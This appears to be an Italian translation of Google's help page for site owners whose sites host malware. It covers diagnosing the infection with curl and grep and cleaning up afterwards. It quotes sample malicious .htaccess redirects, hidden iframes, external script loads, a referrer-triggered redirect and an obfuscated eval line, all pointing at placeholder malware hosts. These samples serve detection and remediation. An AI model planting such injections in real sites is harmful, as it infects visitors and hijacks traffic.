Compromissione con malware

I malware sono software o applicazioni mobile pensati appositamente per danneggiare un computer, un dispositivo mobile, i software installati o gli utenti. Per ulteriori informazioni su cosa sia il malware, consulta l'articolo Malware e software indesiderato.

Se il tuo sito contiene malware, gli utenti in genere vedono l'avviso "Questo sito potrebbe danneggiare il tuo computer" mostrato nei risultati di ricerca o in una pagina interstitial mostrata dal browser quando l'utente tenta di visitare il tuo sito, simile al seguente:

Pagina interstitial contenente malware rappresentativa
Risultati di ricerca con un avviso di malware.

Dovrai avere quanto segue:

  • Accesso come amministratore di shell o di terminale ai server del tuo sito: web, database e file.
  • Conoscenza dei comandi della shell o del terminale.
  • Capacità di eseguire query SQL sul database.

preparazione

  • Registrati a Search Console e verifica la proprietà del tuo sito compromesso come descritto. Search Console fornisce un campione di pagine interessate, semplificando notevolmente la ricerca e la correzione di problemi relativi a compromissioni di malware. Inoltre, riceverai un avviso se il tuo sito viene rilevato essere interessato da molti tipi di malware o altre violazioni.
  • Visualizza la pagina di diagnostica Navigazione sicura di Google per visualizzare le informazioni pubbliche sul potenziale danno per gli utenti a un sito. Puoi visualizzare lo stato della scheda per la tua pagina o il tuo sito a un URL simile a questo: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Ad esempio: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> può essere l'URL di una pagina specifica (http://example.com/badpage) o dell'intero sito (example.com).

  • Evita di utilizzare un browser per visualizzare le pagine del sito. Poiché il malware spesso si diffonde sfruttando le vulnerabilità del browser, l'apertura di una pagina infetta da malware in un browser potrebbe danneggiare il computer. A meno che le istruzioni di diagnostica non indichino di accedere alla pagina direttamente nel browser, utilizza cURL o Wget per eseguire richieste HTTP (ad esempio, per recuperare una pagina).

    Questi strumenti disponibili senza costi sono utili per la diagnosi dei reindirizzamenti e hanno la flessibilità necessaria per includere le informazioni sui referrer o sullo user agent. L'inclusione di un referrer o di uno user agent specifico è utile per imitare gli hacker perché potrebbero pubblicare contenuti dannosi soltanto per gli utenti con user agent o referrer specifici, allo scopo di scegliere come target più "persone reali" ed evitare di essere rilevati dai proprietari dei siti e dai sistemi di scansione malware.

`curl -v --referer "http://www.google.com" <your-url>`

Di seguito è riportato un esempio in cui sono specificati sia uno user agent sia un referrer:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Ti consigliamo di recuperare una pagina con e senza --referer "https://www.google.com", perché alcuni malware vengono attivati solo quando gli utenti provengono dai risultati della Ricerca Google.

  • Crea un documento in cui registrare le informazioni ricavate con questo passaggio. Il documento includerà, come minimo, il nome e la posizione di ogni file danneggiato, nonché note sul modo in cui è stato infettato, e fungerà da base per ripulire e gestire il sito.

  • Guarda il video in precedenza su questa pagina per scoprire come funziona il malware e come proteggerti durante l'indagine sul malware.

Diagnostica

Determina quale malware colpisce il tuo sito:

  1. Apri il report Problemi di sicurezza del tuo sito in Search Console. Espandi la descrizione dell'avviso sul malware per visualizzare un elenco di esempi di pagine interessate. Tieni presente che questo elenco non è completo. Potresti non visualizzare pagine di esempio per tutti i tipi di malware sul tuo sito.
  2. Testa le tue pagine di esempio per verificare la presenza dei seguenti tipi di malware.

Malware di configurazione del server (reindirizzamenti indesiderati)

Un hacker ha compromesso il tuo sito e reindirizza i visitatori dal tuo sito valido al proprio sito di attacchi malware, probabilmente modificando i file di configurazione del server. I file di configurazione del server di solito consentono all'amministratore del sito di specificare i reindirizzamenti URL per pagine o directory specifiche su un sito web. Ad esempio, sui server Apache, si tratta del file .htaccess e di httpd.conf.

Diagnostica

Visita alcuni degli URL di esempio elencati nel rapporto Problemi di sicurezza. Una risposta da una pagina infettata con l'infezione "configurazione server" potrebbe includere le seguenti intestazioni:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Individuare i file interessati

Accedi al server tramite l'accesso alla shell o al terminale (se vuoi, il sito può essere offline) ed esamina i file di configurazione del server pertinenti. Sul tuo sito potrebbe essere presente più di un file di configurazione del server compromesso. Verifica la presenza di istruzioni indesiderate in questi file, come i reindirizzamenti a siti sconosciuti. Ad esempio, nel file .htaccess, potresti vedere un reindirizzamento simile a questo:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL injection

Un hacker ha compromesso il database del tuo sito. Ad esempio, l'hacker potrebbe aver inserito in modo programmatico codice dannoso in ogni record di una tabella di database; in questo modo, quando il server carica una pagina che richiede informazioni dal database, il codice dannoso è incorporato nei contenuti della pagina e potrebbe danneggiare i visitatori del sito.

Diagnostica

  1. Esegui alcune query sugli URL interessati nella riga di comando ed esamina la risposta per individuare parole di attacco SQL come "iframe" o "eval".
  2. Accedi al server del tuo database o visualizza il database con uno strumento come phpMyAdmin. Se hai utilizzato Wget o cURL, prova a correlare il danno rilevato nel codice sorgente della pagina tramite Wget o cURL con le voci effettive del database. Ad esempio, se hai notato che le tue pagine includevano un iframe pericoloso, puoi eseguire una query SQL per cercare il codice iframe. Ad esempio:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Potresti inoltre verificare l'eventuale presenza di attività insolite nel log del database e nei file di errore sul tuo server, ad esempio comandi SQL imprevisti che sembrano insoliti per utenti normali o errori.

Risolvere il problema

Aggiorna ogni record di database infetto o ripristina l'ultimo backup noto del database.

Iniezione di codice

Le pagine del tuo sito sono state modificate per includere codice dannoso, ad esempio un iframe a un sito di attacco malware.

Diagnostica

Visita alcuni degli URL di esempio mostrati nel report Problemi di sicurezza con cURL o wGet ed esamina la presenza di codice sospetto. Il codice inserito può richiedere molti tipi e può essere difficile da trovare. Potrebbe essere utile cercare parole come "iframe" per trovare il codice iframe. Altre parole chiave utili sono "script", "eval" e "unescape". Ad esempio, per cercare "iframe" in tutti i file su sistemi basati su Unix:

$grep -irn "iframe" ./ | less</pre>

Di seguito sono riportati alcuni pattern di malware comuni da ricercare.

Un iframe che carica un sito dannoso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript o un altro linguaggio di scripting che chiama ed esegue script da un sito pericoloso:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Scripting che reindirizza il browser a un sito pericoloso:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Codice dannoso offuscato per evitare il rilevamento:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

File di oggetti condivisi progettati per scrivere casualmente codice dannoso in script altrimenti benigni:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Modelli di errore dannosi

Il modello utilizzato per i messaggi di errore, ad esempio 404 File non trovato, è configurato per distribuire malware. In questo modo, i malintenzionati possono lanciare attacchi contro URL che non esistono nemmeno sul tuo sito.

Diagnostica

Richiedi sul tuo sito una pagina che non esiste o che genera un altro tipo di errore ed esamina la risposta per verificare se proviene da un altro sito o contiene malware.

Risolvere il problema

Accedi al server web e cerca le istruzioni relative alle pagine di errore nei file di configurazione del server. Ad esempio, il modello di errore per i server web Apache può essere dichiarato nel file .htaccess. Ecco un esempio di voce del file .htaccess che recupera le pagine di errore 404 da un sito dannoso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Quando è tutto pronto per ripulire il tuo sito, sostituisci i file .htaccess con un backup noto oppure elimina le direttive ErrorDocument indesiderate nei file .htaccess esistenti. Assicurati di pulire anche i file di errore effettivi, se sono presenti sul tuo sito. Infine, riavvia il server web per assicurarti che tutte le modifiche abbiano effetto.

Caricamento delle risorse da un sito compromesso o dannoso {compromised-resources}

Il tuo sito utilizza contenuti o risorse di un sito web che è noto per includere contenuti dannosi. Può trattarsi di file JavaScript, immagini o altri file. Per questo motivo, il tuo sito verrà segnalato per malware caricato da questo altro sito.

Diagnostica

Visita alcuni degli URL di esempio elencati nel rapporto Problemi di sicurezza.

Risolvere il problema

  1. Per verificare il problema, vai ad alcuni degli URL di esempio elencati nel report Problemi di sicurezza in Search Console. Dovresti vedere un avviso del browser.
  2. L'avviso del browser indicherà il dominio dei contenuti discutibili. Rimuovi tutti i riferimenti al sito segnalato elencati nell'avviso del browser. Se i contenuti di un sito segnalato sono stati inclusi a tua insaputa, il problema è più grave. È molto probabile che il tuo sito sia stato compromesso e dovresti continuare a esaminare il sito per verificare la presenza di altri compromissioni e vulnerabilità.
  3. Se hai incluso intenzionalmente contenuti di un sito legittimo che è stato segnalato e vuoi includerli di nuovo dopo la pulizia del sito segnalato, puoi monitorare lo stato del sito segnalato utilizzando la pagina di diagnostica di Google Navigazione sicura per il sito (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. I proprietari di siti legittimi di solito li ripuliscono rapidamente.

Ulteriori indagini

Successivamente, verifica la presenza di eventuali altri file dannosi o modifiche sul sistema. L'hacker potrebbe aver modificato pagine o record di database esistenti, creato pagine contenenti spam completamente nuove, scritto funzioni che visualizzano spam in pagine pulite o lasciato "backdoor" che consentono all'hacker di rientrare nel tuo sito o che reinietta codice dannoso che hai rimosso.

Se il sito è online, valuta la possibilità di portarlo offline per questa indagine.

Se disponi di un backup noto del tuo sito, determina quali file sono stati creati o modificati dopo l'esecuzione del backup e analizzali. Sui sistemi basati su Unix, puoi utilizzare un comando come il seguente per trovare nuovi file:

diff -qr <current-directory> <backup-directory>

Ad esempio:

diff -qr www/ backups/full-backup-20120124/

inoltre:

md5sum <current-page> <backup-page>

Ad esempio:

md5sum www/page.html backups/full-backup-20120124/page.html

Controlla i log del server, degli accessi e degli errori per verificare la presenza di attività sospette, come i tentativi di accesso non riusciti, la cronologia dei comandi (soprattutto come root) e la creazione di account utente sconosciuti. Tieni presente che l'hacker potrebbe aver modificato questi log per i propri scopi. Alcuni esempi sono mostrati nel video per Identificare la vulnerabilità.

Verifica la presenza di reindirizzamenti nei file di configurazione. In genere i file di configurazione sono denominati .htaccess e httpd.conf. Gli hacker creano spesso reindirizzamenti condizionali in base a user agent, ora del giorno o referrer. Se devi aggiornare i file di configurazione, potrebbe essere necessario riavviare il server affinché le modifiche abbiano effetto.

Verifica la presenza di autorizzazioni per cartelle e file troppo permissive. Gli hacker manomettono le autorizzazioni perché, se le autorizzazioni permissive non vengono rilevate dal proprietario del sito, l'hacker avrà un modo per rientrare nel sito. I file di dimensioni superiori a 644 (rw-r--r--) e le cartelle di dimensioni superiori a 755 (rwxr-xr-x) possono causare problemi di sicurezza. Assicurati che le autorizzazioni più ampie siano davvero necessarie. Nei sistemi basati su Unix, prova a:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

e:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Se disponi di un database, esamina record per record utilizzando uno strumento come phpMyAdmin.